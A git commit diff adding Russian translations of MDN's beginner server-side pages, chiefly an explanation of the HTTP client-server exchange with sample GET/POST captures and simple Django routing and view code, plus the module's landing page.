initial commit

5 files changed, 1066 insertions, 0 deletions

diff --git a/files/ru/learn/server-side/first_steps/client-server_overview/index.html b/files/ru/learn/server-side/first_steps/client-server_overview/index.html
new file mode 100644
index 0000000000..7961d46a24
--- /dev/null
+++ b/files/ru/learn/server-side/first_steps/client-server_overview/index.html
@@ -0,0 +1,325 @@
+---
+title: Клиент-сервер
+slug: Learn/Server-side/First_steps/Client-Server_overview
+tags:
+  - Вступление
+  - Вступление
+  - Начинающий
+  - Начинающий
+  - Программирование на стороне сервера
+  - Программирование на стороне сервера
+  - Руководство
+  - Руководство
+  - Сервер
+  - Сервер
+  - Учить
+  - Учить
+translation_of: Learn/Server-side/First_steps/Client-Server_overview
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">Теперь, когда вы знаете цель и потенциальные преимущества программирования на стороне сервера, мы подробно рассмотрим, что происходит, когда сервер получает «динамический запрос» от браузера. Поскольку большая часть серверного кода веб-сайта обрабатывает запросы и ответы аналогичным образом, это поможет вам понять, что нужно делать при написании большей части собственного кода.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Перед стартом:</th>
+   <td>Базовая компьютерная грамотность. Базовое понимание того, что такое веб-сервер.</td>
+  </tr>
+  <tr>
+   <th scope="row">Цель:</th>
+   <td>Изучить взаимодействие между клиентом и сервером на динамическом веб-сайте и, в частности, узнать, какие действия нужно произвести в коде серверной части.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>В обсуждении нет реального кода, поскольку мы ещё не выбрали, какой именно веб-фреймворк будем использовать для написания нашего кода! Тем не менее, это обсуждение всё ещё очень актуально, поскольку описанное поведение должно быть реализовано вашим серверным кодом независимо от того, какой язык программирования или веб-фреймворк вы выберите.</p>
+
+<h2 id="Веб-серверы_и_HTTP_для_начинающих">Веб-серверы и HTTP (для начинающих)</h2>
+
+<p>Веб-браузеры взаимодействуют с <a href="https://developer.mozilla.org/ru/docs/Learn/Common_questions/What_is_a_web_server">веб-серверами</a> при помощи протокола передачи гипертекста (<a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTTP">HTTP</a>). Когда вы кликаете на ссылку на странице, заполняете форму или производите поиск, браузер отправляет на сервер <em>HTTP-запрос</em>.</p>
+
+<p>Этот запрос включает:</p>
+
+<ul>
+ <li>Путь (URL), который определяет целевой сервер и ресурс (например, HTML-файл, конкретная точка данных на сервере или запускаемый инструмент).</li>
+ <li>Метод, который определяет необходимое действие (например, получить файл, сохранить или обновить какие-либо данные). Различные методы/команды и связанные с ними действия перечислены ниже:
+  <ul style="list-style-type: circle;">
+   <li><code>GET</code> – получить определённый ресурс (например, HTML-файл, содержащий информацию о товаре или список товаров).</li>
+   <li><code>POST</code> – создать новый ресурс (например, добавить новую статью на вики, добавить новый контакт в базу данных).</li>
+   <li><code>HEAD</code> – получить метаданные об определённом ресурсе без получения содержания, как это делает запрос <code>GET</code>. Например, вы можете использовать запрос <code>HEAD</code>, чтобы узнать, когда ресурс в последний раз обновлялся, и только потом использовать (более «затратный») запрос <code>GET</code>, чтобы загрузить сам ресурс, если он был изменён.</li>
+   <li><code>PUT</code> – обновить существующий ресурс (или создать новый, если таковой не существует).</li>
+   <li><code>DELETE</code> – удалить определённый ресурс.</li>
+   <li><code>TRACE</code>, <code>OPTIONS</code>, <code>CONNECT</code>, <code>PATCH</code> – эти команды используются для менее популярных/более сложных задач, поэтому пока мы не будем их рассматривать.</li>
+  </ul>
+ </li>
+ <li>Дополнительная информация может быть закодирована в запросе (например, данные HTML-формы). Информация может быть закодирована как:
+  <ul style="list-style-type: circle;">
+   <li>URL-параметры: <code>GET</code> запросы зашифровывают данные в URL-адресе, который отправляется на сервер, путём добавления пар имя/значение в его конец, например, <code>http://mysite.com<strong>?name=Fred&amp;age=11</strong></code>. В этом случае всегда ставится знак вопроса (<code>?</code>), отделяющий основную часть URL-адреса от URL-параметров, знак равно (=), отделяющий каждое имя от соответствующего ему значения, и амперсанд (&amp;), разделяющий пары. URL-параметры, по своей сути, «небезопасны», так как могут быть изменены пользователями и затем отправлены повторно. В результате, URL-параметры /<code>GET</code> запросы не используются для запросов, которые обновляют данные на сервере.</li>
+   <li><code>POST</code> данные. <code>POST</code> запросы добавляют новые ресурсы, данные которых зашифрованы в теле самого запроса.</li>
+   <li>Куки-файлы клиентской части. Куки-файлы содержат данные сессий о клиенте, включая ключи, которые сервер может использовать для определения статуса его авторизации и разрешения/права доступа к ресурсам.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Веб-серверы ожидают сообщений с запросами от клиентов, обрабатывают их, когда они приходят и отвечают веб-браузеру через сообщение с HTTP-ответом. Ответ содержит <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Status">Код статуса HTTP-ответа</a>, который показывает, был ли запрос успешным (например, «<code>200 OK</code>» означает успех, «<code>404 Not Found</code>» если ресурс не может быть найден, «<code>403 Forbidden</code>», если пользователь не имеет права просматривать ресурс, и т. д.). Тело успешного ответа на запрос <code>GET</code> будет содержать запрашиваемый ресурс.</p>
+
+<p>После того как HTML-страница возвращена, она отрисовывается браузером. Во время этого браузер может обнаружить ссылки на другие ресурсы (например, HTML-страница обычно ссылается на JavaScript и CSS-файлы) и послать отдельные HTTP-запросы для загрузки этих файлов.</p>
+
+<p>Как статические, так и динамические веб-сайты (речь о которых идёт в следующих разделах) используют точно такой же протокол/шаблоны обмена данными.</p>
+
+<h3 id="Пример_GET_запросаответа">Пример GET запроса/ответа</h3>
+
+<p>Вы можете сформировать простой <code>GET</code> запрос кликнув по ссылке или через поиск по сайту (такой как страница поисковой системы). Например, HTTP-запрос, отправленный во время выполнения запроса "client server overview" на сайте MDN, будет во многом похож на текст ниже (он не будет идентичным, потому что части сообщения зависят от вашего браузера/настроек).</p>
+
+<div class="note">
+<p>Формат HTTP сообщения определён в «веб-стандарте» (<a href="http://www.rfc-editor.org/rfc/rfc7230.txt">RFC7230</a>). Вам не нужно знать этот уровень детализации, но, по крайней мере, теперь вы знаете, откуда это появилось!</p>
+</div>
+
+<h4 id="Запрос">Запрос</h4>
+
+<p>Каждая строка запроса содержит информацию о запросе. Первая часть называется <strong>заголовок</strong> и содержит важную информацию о запросе, точно так же, как <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">HTML head</a> содержит важную информацию о HTML-документе (но не содержимое документа, которое расположено внутри тэга "body"):</p>
+
+<pre class="notranslate">GET https://developer.mozilla.org/en-US/search?q=client+server+overview&amp;topic=apps&amp;topic=html&amp;topic=css&amp;topic=js&amp;topic=api&amp;topic=webdev HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Pragma: no-cache
+Cache-Control: no-cache
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/
+Accept-Encoding: gzip, deflate, sdch, br
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true
+</pre>
+
+<p>Первая и вторая строки содержат большую часть информации, о которой говорилось выше:</p>
+
+<ul>
+ <li>Тип запроса (<code>GET</code>).</li>
+ <li>URL целевого ресурса (<code>/en-US/search</code>).</li>
+ <li>URL-параметры (<code>q=client%2Bserver%2Boverview&amp;topic=apps&amp;topic=html&amp;topic=css&amp;topic=js&amp;topic=api&amp;topic=webdev</code>).</li>
+ <li>Целевой/хост-вебсайт (developer.mozilla.org).</li>
+ <li>Конец первой строки также содержит короткую строку, идентифицирующую версию протокола (<code>HTTP/1.1</code>).</li>
+</ul>
+
+<p>Последняя строка содержит информацию о клиентских куки — в данном случае можно увидеть куки, включающие id для управления сессиями (<code>Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...</code>).</p>
+
+<p>Оставшиеся строки содержат информацию об используемом браузере и о видах ответов, которые он может обработать. Например, здесь вы можете увидеть:</p>
+
+<ul>
+ <li>Мой браузер (<code>User-Agent</code>) — Mozilla Firefox (<code>Mozilla/5.0</code>).</li>
+ <li>Он может принимать информацию, упакованную в gzip (<code>Accept-Encoding: gzip</code>).</li>
+ <li>Он может принимать указанные кодировки  (<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>) и языков (<code>Accept-Language: de,en;q=0.7,en-us;q=0.3</code>).</li>
+ <li>Строка <code>Referer</code> идентифицирует адрес веб-страницы, содержащей ссылку на этот ресурс (то есть источник оригинального запроса, <code>https://developer.mozilla.org/en-US/</code>).</li>
+</ul>
+
+<p>HTTP-запрос может также содержать body, но в данном случае этого нет.</p>
+
+<h4 id="Ответ">Ответ</h4>
+
+<p>Первая часть ответа на запрос показана ниже. Заголовок содержит следующую информацию:</p>
+
+<ul>
+ <li>Первая строка содержит код ответа <code>200 OK</code>, говорящий о том, что запрос выполнен успешно.</li>
+ <li>Мы можем видеть, что ответ имеет <code>text/html</code> формат (<code>Content-Type</code>).</li>
+ <li>Также мы видим, что ответ использует кодировку UTF-8 (<code>Content-Type: text/html; charset=utf-8</code>).</li>
+ <li>Заголовок также содержит длину ответа (<code>Content-Length: 41823</code>).</li>
+</ul>
+
+<p>В конце сообщения мы видим содержимое <strong>body, </strong>содержащее HTML-код возвращаемого ответа.</p>
+
+<pre class="brush: html notranslate">HTTP/1.1 200 OK
+Server: Apache
+X-Backend-Server: developer1.webapp.scl3.mozilla.com
+Vary: Accept,Cookie, Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:11:31 GMT
+Keep-Alive: timeout=5, max=999
+Connection: Keep-Alive
+X-Frame-Options: DENY
+Allow: GET
+X-Cache-Info: caching
+Content-Length: 41823
+
+
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en-US" dir="ltr" class="redesign no-js"  data-ffo-opensanslight=false data-ffo-opensans=false &gt;
+&lt;head prefix="og: http://ogp.me/ns#"&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;meta http-equiv="X-UA-Compatible" content="IE=Edge"&gt;
+  &lt;script&gt;(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);&lt;/script&gt;
+  ...
+</pre>
+
+<p>Остальная часть заголовка ответа содержит информацию об ответе (например, когда он был сгенерирован), сервере и о том, как он ожидает, что браузер обработает страницу (например, строка <code>X-Frame-Options: DENY</code> говорит браузеру не допускать внедрения этой страницы, если она будет внедрена в {{htmlelement ("iframe")}} на другом сайте).</p>
+
+<h3 id="Пример_POST_запросаответа">Пример POST запроса/ответа</h3>
+
+<p>HTTP <code>POST</code> создаётся, когда вы отправляете форму, содержащую информацию, которая должна быть сохранена на сервере.</p>
+
+<h4 id="Запрос_2">Запрос</h4>
+
+<p>В приведённом ниже тексте показан HTTP-запрос, сделанный когда пользователь загружает новые данные профиля на этом сайте. Формат запроса почти такой же, как пример запроса <code>GET</code>, показанный ранее, хотя первая строка идентифицирует этот запрос как <code>POST</code>.</p>
+
+<pre class="brush: html notranslate">POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Content-Length: 432
+Pragma: no-cache
+Cache-Control: no-cache
+Origin: https://developer.mozilla.org
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/profiles/hamishwillee/edit
+Accept-Encoding: gzip, deflate, br
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _ga=GA1.2.1688886003.1471911953; ffo=true
+
+csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&amp;user-username=hamishwillee&amp;user-fullname=Hamish+Willee&amp;user-title=&amp;user-organization=&amp;user-location=Australia&amp;user-locale=en-US&amp;user-timezone=Australia%2FMelbourne&amp;user-irc_nickname=&amp;user-interests=&amp;user-expertise=&amp;user-twitter_url=&amp;user-stackoverflow_url=&amp;user-linkedin_url=&amp;user-mozillians_url=&amp;user-facebook_url=</pre>
+
+<p>Основное различие заключается в том, что URL-адрес не имеет параметров. Как вы можете видеть, информация из формы закодирована в теле запроса (например, новое полное имя пользователя устанавливается с использованием: <code>&amp;user-fullname=Hamish+Willee</code>).</p>
+
+<h4 id="Ответ_2">Ответ</h4>
+
+<p>Ответ от запроса показан ниже. Код состояния «<code>302 Found</code>» сообщает браузеру, что сообщение обработано, и что необходим второй HTTP-запрос для загрузки страницы, указанной в поле <code>Location</code>. В остальном информация аналогична информации для ответа на запрос <code>GET</code> .</p>
+
+<pre class="brush: html notranslate">HTTP/1.1 302 FOUND
+Server: Apache
+X-Backend-Server: developer3.webapp.scl3.mozilla.com
+Vary: Cookie
+Vary: Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:38:13 GMT
+Location: https://developer.mozilla.org/en-US/profiles/hamishwillee
+Keep-Alive: timeout=5, max=1000
+Connection: Keep-Alive
+X-Frame-Options: DENY
+X-Cache-Info: not cacheable; request wasn't a GET or HEAD
+Content-Length: 0
+</pre>
+
+<div class="note">
+<p><strong>На заметку</strong>: HTTP-ответы и запросы, показанные в этих примерах, были захвачены с помощью приложения <a href="https://www.telerik.com/download/fiddler">Fiddler</a>, но вы можете получить аналогичную информацию с помощью веб-снифферов (например, <a href="http://web-sniffer.net/">http://web-sniffer.net/</a>) или с помощью расширений браузера, таких как HttpFox. Вы можете попробовать это сами. Воспользуйтесь любым из предложенных инструментов, а затем перейдите по сайту и отредактируйте информацию профиля, чтобы увидеть различные запросы и ответы. В большинстве современных браузеров также есть инструменты, которые отслеживают сетевые запросы (например, инструмент <a href="https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor">Network Monitor</a> в Firefox).</p>
+</div>
+
+<h2 id="Статические_сайты">Статические сайты</h2>
+
+<p><em>Статический сайт</em> — это тот, который возвращает тот же жёсткий кодированный контент с сервера всякий раз, когда запрашивается конкретный ресурс. Например, если у вас есть страница о товаре в <code>/static/myproduct1.html</code>, эта же страница будет возвращена каждому пользователю. Если вы добавите ещё один подобный товар на свой сайт, вам нужно будет добавить ещё одну страницу (например, <code>myproduct2.html</code>) и так далее. Это может стать действительно неэффективным — что происходит, когда вы попадаете на тысячи страниц товаров? Вы повторяли бы много кода на каждой странице (основной шаблон страницы, структуру и т. д.), И если бы вы захотели изменить что-либо в структуре страницы — например, добавить новый раздел «связанные товары» — тогда вам придётся менять каждую страницу отдельно.</p>
+
+<div class="note">
+<p><strong>На заметку</strong>: Статические сайты превосходны, когда у вас небольшое количество страниц и вы хотите отправить один и тот же контент каждому пользователю. Однако их обслуживание может потребовать значительных затрат по мере увеличения количества страниц.</p>
+</div>
+
+<p>Давайте вспомним, как это работает, снова взглянув на диаграмму архитектуры статического сайта, на которую мы смотрели в последней статье.</p>
+
+<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png"></p>
+
+<p>Когда пользователь хочет перейти на страницу, браузер отправляет HTTP-запрос <code>GET</code> с указанием URL-адреса его HTML-страницы. Сервер извлекает запрошенный документ из своей файловой системы и возвращает HTTP-ответ, содержащий документ и код состояния <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status">HTTP Response status code</a> <code>200 OK</code> (успех). Сервер может вернуть другой код состояния, например, «<code>404 Not Found</code>», если файл отсутствует на сервере или «<code>301 Moved Permanently</code>», если файл существует, но был перемещён в другое место.</p>
+
+<p>Серверу для статического сайта нужно будет только обрабатывать GET-запросы, потому что сервер не сохраняет никаких модифицируемых данных. Он также не изменяет свои ответы на основе данных HTTP-запроса (например, URL-параметров или файлов cookie).</p>
+
+<p>Понимание того, как работают статические сайты, тем не менее полезно при изучении программирования на стороне сервера, поскольку динамические сайты точно так же обрабатывают запросы для статических файлов (CSS, JavaScript, статические изображения и т. д.).</p>
+
+<h2 id="Динамические_сайты">Динамические сайты</h2>
+
+<p><em>Динамический сайт</em> — это тот, который может генерировать и возвращать контент на основе конкретного URL-адреса запроса и данных (а не всегда возвращать один и тот же жёсткий код для определённого URL-адреса). Используя пример сайта товара, сервер будет хранить «данные» товара в базе данных, а не отдельные HTML-файлы. При получении <code>GET</code>-запроса для товара сервер определяет идентификатор товара, извлекает данные из базы данных и затем создаёт HTML-страницу для ответа, вставляя данные в HTML-шаблон. Это имеет большие преимущества перед статическим сайтом:</p>
+
+<p>Использование базы данных позволяет эффективно хранить информацию о товаре с помощью легко расширяемого, изменяемого и доступного для поиска способа.</p>
+
+<p>Использование HTML-шаблонов позволяет очень легко изменить структуру HTML, потому что это нужно делать только в одном месте, в одном шаблоне, а не через потенциально тысячи статических страниц.</p>
+
+<h3 id="Анатомия_динамического_запроса">Анатомия динамического запроса</h3>
+
+<p>В этом разделе представлен пошаговый обзор «динамического» цикла HTTP-запроса и ответа, основываясь на том, что мы рассмотрели в последней статье, с гораздо более подробной информацией. Чтобы не отдаляться от практики, мы будем использовать контекст веб-сайта менеджера спортивной команды, где тренер может выбрать имя своей команды и размер команды в HTML-форме и вернуться к предлагаемому «лучшему составу» для своей следующей игры.</p>
+
+<p>На приведённой ниже диаграмме показаны основные элементы веб-сайта «team coach», а также пронумерованные ярлыки для последовательности операций, когда тренер обращается к списку «лучших команд». Частями сайта, которые делают его динамичным, являются <em>веб-приложение</em> (так мы будем ссылаться на серверный код, обрабатывающий HTTP-запросы и возвращающие HTTP-ответы), <em>база данных</em>, которая содержит информацию об игроках, командах, тренерах и их отношениях, и <em>HTML-шаблоны</em>.</p>
+
+<p><img alt="This is a diagram of a simple web server with step numbers for each of step of the client-server interaction." src="https://mdn.mozillademos.org/files/13829/Web%20Application%20with%20HTML%20and%20Steps.png" style="height: 584px; width: 1226px;"></p>
+
+<p>После того, как тренер отправит форму с именем команды и количеством игроков, последовательность операций будет следующей:</p>
+
+<ol>
+ <li>Веб-браузер отправит HTTP-запрос <code>GET</code> на сервер с использованием базового URL-адреса ресурса (<code>/best</code>) и кодирования номера команды и игрока в форме URL-параметров (например, <code>/best?team=my_team_name&amp;show=11)</code> или как часть URL-адреса (например, <code>/best/my_team_name/11/</code>). Запрос <code>GET</code> используется, потому что речь идёт только о запросе выборки данных (а не об их изменении).</li>
+ <li><em>Веб-сервер</em> определяет, что запрос является «динамическим» и пересылает его в <em>веб-приложение</em> для обработки (веб-сервер определяет, как обрабатывать разные URL-адреса на основе правил сопоставления шаблонов, определённых в его конфигурации).</li>
+ <li><em>Веб-приложение</em> определяет, что цель запроса состоит в том, чтобы получить «лучший список команд» на основе URL (<code>/best/</code>) и узнать имя команды и количество игроков из URL-адреса. Затем <em>веб-приложение</em> получает требуемую информацию из базы данных (используя дополнительные «внутренние» параметры, чтобы определить, какие игроки являются «лучшими», и, возможно, определяя личность зарегистрированного тренера из файла cookie на стороне клиента).</li>
+ <li><em>Веб-приложение</em> динамически создаёт HTML-страницу, помещая данные (из <em>базы данных</em>) в заполнители внутри HTML-шаблона.</li>
+ <li><em>Веб-приложение</em> возвращает сгенерированный HTML в веб-браузер (через <em>веб-сервер</em>) вместе с кодом состояния HTTP 200 («успех»). Если что-либо препятствует возврату HTML, <em>веб-приложение</em> вернёт другой код, например, «404», чтобы указать, что команда не существует.</li>
+ <li>Затем веб-браузер начнёт обрабатывать возвращённый HTML, отправив отдельные запросы, чтобы получить любые другие файлы CSS или JavaScript, на которые он ссылается (см. шаг 7).</li>
+ <li>Веб-сервер загружает статические файлы из файловой системы и возвращает их непосредственно в браузер (опять же, правильная обработка файлов основана на правилах конфигурации и сопоставлении шаблонов URL).</li>
+</ol>
+
+<p>Операция по обновлению записи в базе данных будет обрабатываться аналогичным образом, за исключением того, что, как и любое обновление базы данных, HTTP-запрос из браузера должен быть закодирован как запрос <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">POST</span></font>.</p>
+
+<h3 id="Выполнение_другой_работы">Выполнение другой работы</h3>
+
+<p>Задача <em>веб-приложения</em> — получать HTTP-запросы и возвращать HTTP-ответы. Хотя взаимодействие с базой данных для получения или обновления информации является очень распространённой задачей, код может делать другие вещи одновременно или вообще не взаимодействовать с базой данных.</p>
+
+<p>Хорошим примером дополнительной задачи, которую может выполнять <em>веб-приложение</em>, является отправка электронной почты пользователям для подтверждения их регистрации на сайте. Сайт также может выполнять протоколирование или другие операции.</p>
+
+<h3 id="Возвращение_чего-то_другого_кроме_HTML">Возвращение чего-то другого, кроме HTML</h3>
+
+<p>Серверный код сайта может возвращать не только HTML-фрагменты и файлы в ответе. Он может динамически создавать и возвращать другие типы файлов (текст, PDF, CSV и т. д.) или даже данные (JSON, XML и т. д.).</p>
+
+<p>Идея вернуть данные в веб-браузер, чтобы он мог динамически обновлять свой собственный контент ({{glossary("AJAX")}}) существует довольно давно. Совсем недавно «Одностраничные приложения» стали популярными, где весь сайт написан с одним HTML-файлом, который динамически обновляется по мере необходимости. Веб-сайты, созданные с использованием приложений такого рода, переносят большие вычислительные затраты с сервера на веб-браузер и приводят к тому, что веб-сайты, ведут себя больше как нативные приложения (очень отзывчивые и т. д.).</p>
+
+<h2 id="Веб-фреймворки_упрощают_веб-программирование_на_стороне_сервера">Веб-фреймворки упрощают веб-программирование на стороне сервера</h2>
+
+<p>Веб-фреймворки на стороне сервера делают написание кода для обработки описанных выше операций намного проще.</p>
+
+<p>Одной из наиболее важных операций, которые они выполняют, является предоставление простых механизмов для сопоставления URL-адресов для разных ресурсов/страниц с конкретными функциями обработчика. Это упрощает сохранение кода, связанного с каждым типом ресурса, отдельно от остального. Это также имеет преимущества с точки зрения обслуживания, поскольку вы можете изменить URL-адрес, используемый для доставки определённой функции в одном месте, без необходимости изменять функцию обработчика.</p>
+
+<p>Для примера рассмотрим следующий код Django (Python), который связывает два URL-шаблона с двумя функциями просмотра. Первый шаблон проверяет, что HTTP-запрос с URL-адресом ресурса <code>/best</code> будет передан функции с именем <code>index()</code> в модуле <code>views</code>. Запрос, который имеет шаблон «<code>/best/junior</code>», вместо этого будет передан функции просмотра <code>junior()</code>.</p>
+
+<pre class="brush: python notranslate"># file: best/urls.py
+#
+
+from django.conf.urls import url
+
+from . import views
+
+urlpatterns = [
+    # example: /best/
+    url(r'^$', views.index),
+    # example: /best/junior/
+    url(r'^junior/$', views.junior),
+]</pre>
+
+<div class="note">
+<p><strong>На заметку</strong>: Первые параметры в функциях <code>url()</code> могут выглядеть немного необычно (например, <code>r'^junior/$'</code>, потому что они используют метод сопоставления шаблонов под названием «регулярные выражения» (RegEx или RE). Вам не нужно знать, как работают регулярные выражения на этом этапе, кроме того, что они позволяют нам сопоставлять шаблоны в URL-адресе (а не жёстко закодированные значения выше) и использовать их в качестве параметров в наших функциях просмотра. В качестве примера, действительно простой RegEx может говорить «соответствовать одной заглавной букве, за которой следуют от 4 до 7 строчных букв».</p>
+</div>
+
+<p>Веб-фреймворк также упрощает функцию просмотра для получения информации из базы данных. Структура наших данных определяется в моделях, которые являются классами Python, которые определяют поля, которые должны храниться в основной базе данных. Если у нас есть модель с именем <em>Team</em> с полем «<em>team_type</em>», мы можем использовать простой синтаксис запроса, чтобы получить все команды, имеющие определённый тип.</p>
+
+<p>В приведённом ниже примере представлен список всех команд, у которых есть точный (с учётом регистра) <code>team_type</code> «junior» («младший») — обратите внимание на формат: имя поля (<code>team_type</code>), за которым следует двойной знак подчёркивания, а затем тип соответствия для использования (в этом случае <code>exact</code> («точное»)). Существует много других типов соответствия, и мы можем объединить их. Мы также можем контролировать порядок и количество возвращаемых результатов.</p>
+
+<pre class="brush: python notranslate">#best/views.py
+
+from django.shortcuts import render
+
+from .models import Team
+
+
+def junior(request):
+    list_teams = Team.objects.filter(team_type__exact="junior")
+    context = {'list': list_teams}
+    return render(request, 'best/index.html', context)
+</pre>
+
+<p>После того, как функция <code>junior()</code> получает список младших команд, она вызывает функцию <code>render()</code>, передавая исходный <code>HttpRequest</code>, HTML-шаблон и объект «context», определяющий информацию, которая должна быть включена в шаблон. Функция <code>render()</code> — это функция удобства, которая генерирует HTML с использованием контекста и HTML-шаблона и возвращает его в объект <code>HttpResponse</code>.</p>
+
+<p>Очевидно, что веб-фреймворки могут помочь вам в решении многих других задач. В следующей статье мы обсудим намного больше преимуществ и некоторые популярные варианты веб-фреймворков.</p>
+
+<h2 id="Резюме">Резюме</h2>
+
+<p>На этом этапе вы должны хорошо ознакомиться с операциями, которые должен выполнять серверный код, и знать некоторые способы, с помощью которых веб-фреймворк на стороне сервера может сделать это проще.</p>
+
+<p>В следующем модуле мы поможем вам выбрать лучший веб-фреймворк для вашего первого сайта.</p>
+
+<p>{{PreviousMenuNext ("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p>
diff --git a/files/ru/learn/server-side/first_steps/index.html b/files/ru/learn/server-side/first_steps/index.html
new file mode 100644
index 0000000000..91512b5957
--- /dev/null
+++ b/files/ru/learn/server-side/first_steps/index.html
@@ -0,0 +1,49 @@
+---
+title: Первые шаги в программировании веб-сайтов на стороне сервера
+slug: Learn/Server-side/First_steps
+tags:
+  - Beginner
+  - CodingScripting
+  - Guide
+  - Intro
+  - Landing
+  - Learn
+  - NeedsTranslation
+  - Server-side programming
+  - TopicStub
+translation_of: Learn/Server-side/First_steps
+---
+<div>{{LearnSidebar}}</div>
+
+<p>В этом модуле, посвященном программированию на стороне сервера, мы ответим на несколько фундаментальных вопросов о программировании серверной части: «что это такое?», «чем оно отличается от программирования клиентской части?» и «почему оно так полезно?». Затем последует обзор некоторых самых популярных веб-фреймворков для серверной части и руководство по выбору наиболее подходящего фреймворка для создания вашего первого сайта. Наконец, мы завершим этот модуль вводной статьей о безопасности веб-сервера.</p>
+
+<h2 id="Прежде_чем_начать">Прежде чем начать</h2>
+
+<p>Для того, чтобы начать этот модуль, вам не нужно иметь никаких знаний о программировании серверной части или даже о любом виде программирования.</p>
+
+<p>Вам нужно понимать "как работает веб". Мы рекомендуем вам сперва прочесть следующие темы:</p>
+
+<ul>
+ <li><a href="/ru/docs/Learn/Common_questions/What_is_a_web_server">Что такое веб-сервер</a></li>
+ <li><a href="/ru/docs/Learn/Common_questions/What_software_do_I_need">Какое программное обеспечение мне нужно для создания сайта?</a></li>
+ <li><a href="/ru/docs/Learn/Common_questions/Upload_files_to_a_web_server">Как загружать файлы на веб-сервер?</a></li>
+</ul>
+
+<p>С этими базовыми знаниями вы будете готовы работать с модулями этого раздела.</p>
+
+<h2 id="Руководства">Руководства</h2>
+
+<dl>
+ <dt><a href="/ru/docs/Learn/Server-side/First_steps/Introduction">Введение в серверную часть</a></dt>
+ <dd>Добро пожаловать на курс программирования серверной части MDN для начинающих! В этой первой статье мы посмотрим на программирование серверной части на высоком уровне, отвечая на вопросы такие как: "что это такое?", "чем оно отличается от программирования клиентской части?" и "почему это настолько востребовано?". После прочтения этой статьи вы будуте понимать всю дополнительную мощь, доступную веб-сайтам посредством программирования на стороне сервера.</dd>
+ <dt><a href="/ru/docs/Learn/Server-side/First_steps/Client-Server_overview">Обзор Клиент-Сервера</a></dt>
+ <dd>Теперь, когда вы познакомились с целью и потенциальными преимуществами программирования серверной части, мы собираемся узнать в подробностях, что случится, когда сервер получит "динамический запрос" от браузера. Так как большинство программ серверной части обрабатывает запросы и ответы практически одинаково, это поможет вам понять, что нужно делать при написании собственного кода.</dd>
+ <dt><a href="/ru/docs/Learn/Server-side/First_steps/Web_frameworks">Фреймворки серверной части</a></dt>
+ <dd>Последняя статья рассказывает о том, что нужно делать веб-приложению серверной стороны для ответа на запросы от веб-браузера. Мы покажем здесь, как веб-фреймворки могут упростить эти задачи и поможем вам подобрать подходящий фреймворк для вашего первого серверного веб-приложения.</dd>
+ <dt><a href="/ru/docs/Learn/Server-side/First_steps/Website_security">Безопасность веб-сайта</a></dt>
+ <dd>Безопасность веб-сайта требует бдительности на всех этапах проектирования сайта и его использования. Эта вводная статья не сделает из вас гуру безопасности сайтов, но поможет узнать, какие первые важные шаги вы можете предпринять для повышения устойчивости вашего веб-приложения против наиболее распространенных угроз.</dd>
+</dl>
+
+<h2 id="Аттестация">Аттестация</h2>
+
+<p>Этот "обзорный" модуль не содержит никакой аттестации, поскольку мы даже не прилагаем здесь для вас никакого кода. Мы действительно надеемся, что на текущем этапе у вас сформировалось четкое понимание того, какие виды функционала вы можете предоставить, используя программирование на стороне сервера, и вы уже приняли решение по поводу фреймворка, который вы будете использовать для создания вашего первого сайта.</p>
diff --git a/files/ru/learn/server-side/first_steps/introduction/index.html b/files/ru/learn/server-side/first_steps/introduction/index.html
new file mode 100644
index 0000000000..967d1157a7
--- /dev/null
